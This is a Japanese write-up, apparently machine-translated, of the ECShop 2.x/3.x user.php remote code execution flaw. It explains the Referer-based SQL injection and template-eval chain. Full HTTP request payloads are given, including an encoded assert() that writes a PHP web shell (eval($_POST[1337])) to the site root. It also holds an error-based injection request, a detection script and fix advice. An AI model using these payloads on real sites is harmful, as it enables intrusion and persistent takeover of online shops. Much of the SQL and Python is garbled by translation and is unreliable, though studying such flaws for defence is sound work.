0x00はじめに
user.phpの表示関数で問題が発生します。テンプレート変数は制御可能であり、噴射を引き起こし、インジェクションでリモートコード実行を実現できます。
0x01脆弱性分析
1.SQL注入
まず、user.phpの$ back_act変数をhttp_refererから見てみましょう。
割り当て関数は、テンプレート変数に値を割り当てるために使用されます
ディスプレイ関数をもう一度見て、user_passport.dwtテンプレートファイルのコンテンツを読み取り、変数を解析した後にHTMLコンテンツを表示し、_eChashをセグメントとして使用し、$ kを取得してから、処理のためにISNERT_MODに引き渡します。 _eChashはデフォルトであり、ランダムに生成されていないため、$ valコンテンツは自由に制御できます。
非常に重要な場所であるINSERT_MOD関数を見てください。ここでは、動的にコール$ valが渡されて使用されます|セグメントがあり、パラメーターは渡されてから渡されたときにシリアル化する必要があります
/lib_insert.phpを含むinsert_ads関数を見ると、直接挿入できることがわかります
2。コード実行
関数を読み続けます
Tracking_Eval関数
$ position_style変数は、データベースのクエリ構造に由来します
このSQL操作コマンドを部分的なラインブレークで切り捨てることができないため、SQLインジェクションの構築を続けているため、UnionのNUMと協力するためにIDで注釈を構築する必要があります。
関数には判断があります
私たちのIDは '/*で渡されます
*/unionが1,0x272F2A、3,4,5,6,7,8,9,10 ---を選択し、POC:をバイパスできます。
Select A.Ad_id、A.Position_id、A.Media_Type、A.Ad_link、A.Ad_name、P.Ad_Width、P.Ad_Height、P.Position_Style、Rand()は、ecshop27`.`ecs_ad`からrnd as a p.position_id where enabled=1 and start_time='1535678679'およびend_time='1535678679'およびa.position_id=''/*'rind lime */sion Select 1,2,3,4,5,6,7,8,9,10-----
var_dump
GET関数をもう一度見てください、渡されたパラメーターはfetch_str関数によって処理されます
fetch_str関数を追跡すると、ここの文字列処理プロセスは比較的複雑です
preg_replace( '/{([^\} \ n]*)}/e'、 '\ $ this-select(' \\ 1 ');'、$ source);
この行は、たとえば、$ sourceがxxxx {$ asd} xxxであることを意味します。このコード行を処理した後、この結果を返します-select( '$ asd')、および選択関数を調べます。
最初の文字が$ -get_val関数の場合に$を入力します
私たち$ valはそうではありません。 $は再度make_var関数に入ります
最後に、変数から脱出するために単一の引用がここに紹介されています
_varを閉じたいので、最終的なペイロードは
{$ asd ']; assert(base64_decode(' zmlszv9wdxrfy29udgvudhmojzeudhh0jywnz2v0c2hlbgwnkq=='); //} xxx
1.TXTは、Webサイトとディレクトリで生成されます。
getShell exp:
get /user.php?act=login http /1.1
host: 127.0.0.1
user-agent: mozilla/5.0(Windows NT 10.0; wow64; rv336052.0)Gecko/20100101 Firefox/52.0
Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8
Accept-Language: Zh-Cn、Zh; q=0.8、en-us; q=0.5、en; q=0.3
cookie: phpsessid=9odrkfn7munb3vfksdhldob2d0; ECS_ID=1255E244738135E418B742B1C9A60F5486AA4559; ECS [visit_times]=1
参考文献: 554FCAE493E564EE0DC75BDF2EBF94CAADS | A:33: {s:33:'Num '; S:280:'*/ユニオン選択1,0x272F2A、3,4,5,6,7,8,0x7B24617364275D3B617373657274286261736536 345F6465636F646528275A6D6C735A56397764585266593239756447567564484D 6F4A7A4575634768774A79776E50443977777614841675A585A686243676B5831425 0553152624D544D7A4E3130704F79412F506963702729293B2FF2F7D787878,10- - '; s:2:'id'; s: ''/*';}
Connection:閉じます
アップグレード-Insecure-Requests: 1
Cache-Control: Max-age=0
1.PHPパスワードはWebサイトルートディレクトリで生成されます:1337
0x02脆弱性の再発
1.SQL注入繁殖
1。URL接続アドレスを開く:
http://192.168.1.9/user.php?action=login
2.パケットキャプチャを渡し、ブランズーツまたはフィドラーを介してインターセプトし、参照フィールドをHTTPヘッダーに追加してPCOを追加し、ここでSQLインジェクションをテストするためにPCを追加します。
3。ペイロード:
get /user.php?act=login http /1.1
HOST: 192.168.1.9
user-agent: mozilla/5.0(Windows NT 10.0; wow64; rv336052.0)Gecko/20100101 Firefox/52.0
Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8
Accept-Language: Zh-Cn、Zh; q=0.8、en-us; q=0.5、en; q=0.3
cookie: phpsessid=9odrkfn7munb3vfksdhldob2d0; ECS_ID=1255E244738135E418B742B1C9A60F5486AA4559; ECS [visit_times]=1
Referer: 554FCAE493E564EE0DC75BDF2EBF94CAADS | A:3: {S:3:'NUM '; S:72:'0,1手順分析(ExtractValue(rand()、concat(0x7e、version())、1)---- '; s33602:'id'; i:1;}
Connection:閉じます
アップグレード-Insecure-Requests: 1
Cache-Control: Max-age=0
2。コード実行シェルの再現を書き込み
1。URL接続アドレスを開きます。
http://192.168.1.9/user.php?action=login
2.パケットキャプチャをパスし、ブルンスーツまたはフィドラーを介してインターセプトし、参照フィールドをHTTPヘッダーに追加してPCOを追加し、シェルPOCにテストを追加します
3。ペイロード:
get /user.php?act=login http /1.1
host: 127.0.0.1
user-agent: mozilla/5.0(Windows NT 10.0; wow64; rv336052.0)Gecko/20100101 Firefox/52.0
Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8
Accept-Language: Zh-Cn、Zh; q=0.8、en-us; q=0.5、en; q=0.3
cookie: phpsessid=9odrkfn7munb3vfksdhldob2d0; ECS_ID=1255E244738135E418B742B1C9A60F5486AA4559; ECS [visit_times]=1
参考文献: 554FCAE493E564EE0DC75BDF2EBF94CAADS | A:33: {s:33:'Num '; S:280:'*/ユニオン選択1,0x272F2A、3,4,5,6,7,8,0x7B24617364275D3B617373657274286261736536 345F6465636F646528275A6D6C735A56397764585266593239756447567564484D 6F4A7A4575634768774A79776E50443977777614841675A585A686243676B5831425 0553152624D544D7A4E3130704F79412F506963702729293B2FF2F7D787878,10- - '; s:2:'id'; s: ''/*';}
Connection:閉じます
アップグレード-Insecure-Requests: 1
Cache-Control: Max-age=0
ここの16進数は、文字列に変換できることに注意してください。
0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a45 75634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d78788
弦:
{$ asd ']; assert(base64_decode(' zmlszv9wdxrfy29udgvudhmojzeucghwjywnpd9wahagzzzzhbcgkx1bpu1rbmtmzn10poya/picp '); ///} xxx
base64復号化:
zmlszv9wdxrfy29udgvudhmojzeucghwjywnpd9wahagzxzhbcgkx1bpu1rbmtmzn10poya/picp ---
file_put_contents( '1.php'、 '?php eval($ _ post [1337]);')
0x03脆弱性の影響
ECSHOP 2.XECSHOP 3.6
0x04修理提案
一時的な処理方法は、include/lib_insert.phpファイルの関連する脆弱性のコードを変更し、データを整数に変換するように強制します。 intValの制限は、$ arr [id]および$ arr [num]の前に追加されます。変更する必要がある場所は次のとおりです。
ECShop 3.6.0は上記の脆弱性を修正したため、できるだけ早く最新バージョン3.6.0に更新することをお勧めします
0x05参照リンク
http://RINGK3Y.COM/2018/08/31/ECSHOP2-X%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C
0x06付録
脆弱性を確認するためのPythonスクリプト:
#!/usr/bin/python
#Coding: UTF-8
要求をreqとしてインポートします
def run(url):
'http'がurl:ではない場合
url='http://' + url
url=url + '/user.php?act=login'
URLを印刷、
Headers={'Referer':'554FCAE493E564EE0DC75BDF2EBF94CAADS | A:3: {S:'NUM'; S:161 \ \
: '*/Union Select 1,0x272F2A、3,4,5,6,7,8,0x7B247B24686F6D65275D3B61737365727428626173 \
6536345F6465636F646528276347687776157356D627967704F773D3D272929293B2FF2F7D7D、10 ---- '; S: \
2:'id '; s:' \ '/*'; s:43360'name '; s:'ads';}
try:
res=req.get(url、headers=headers、timeout=8)
例外を除き、E:
印刷e
return '---- vuln no vuln'
content=res.content
コンテンツ:の「disable_functions」の場合
return '---- vulnを持っている!」
else:
return '---- vuln no vuln'
__name__=='__main __' :の場合
sysをインポートします
url=sys.argv [1]
プリントラン(URL)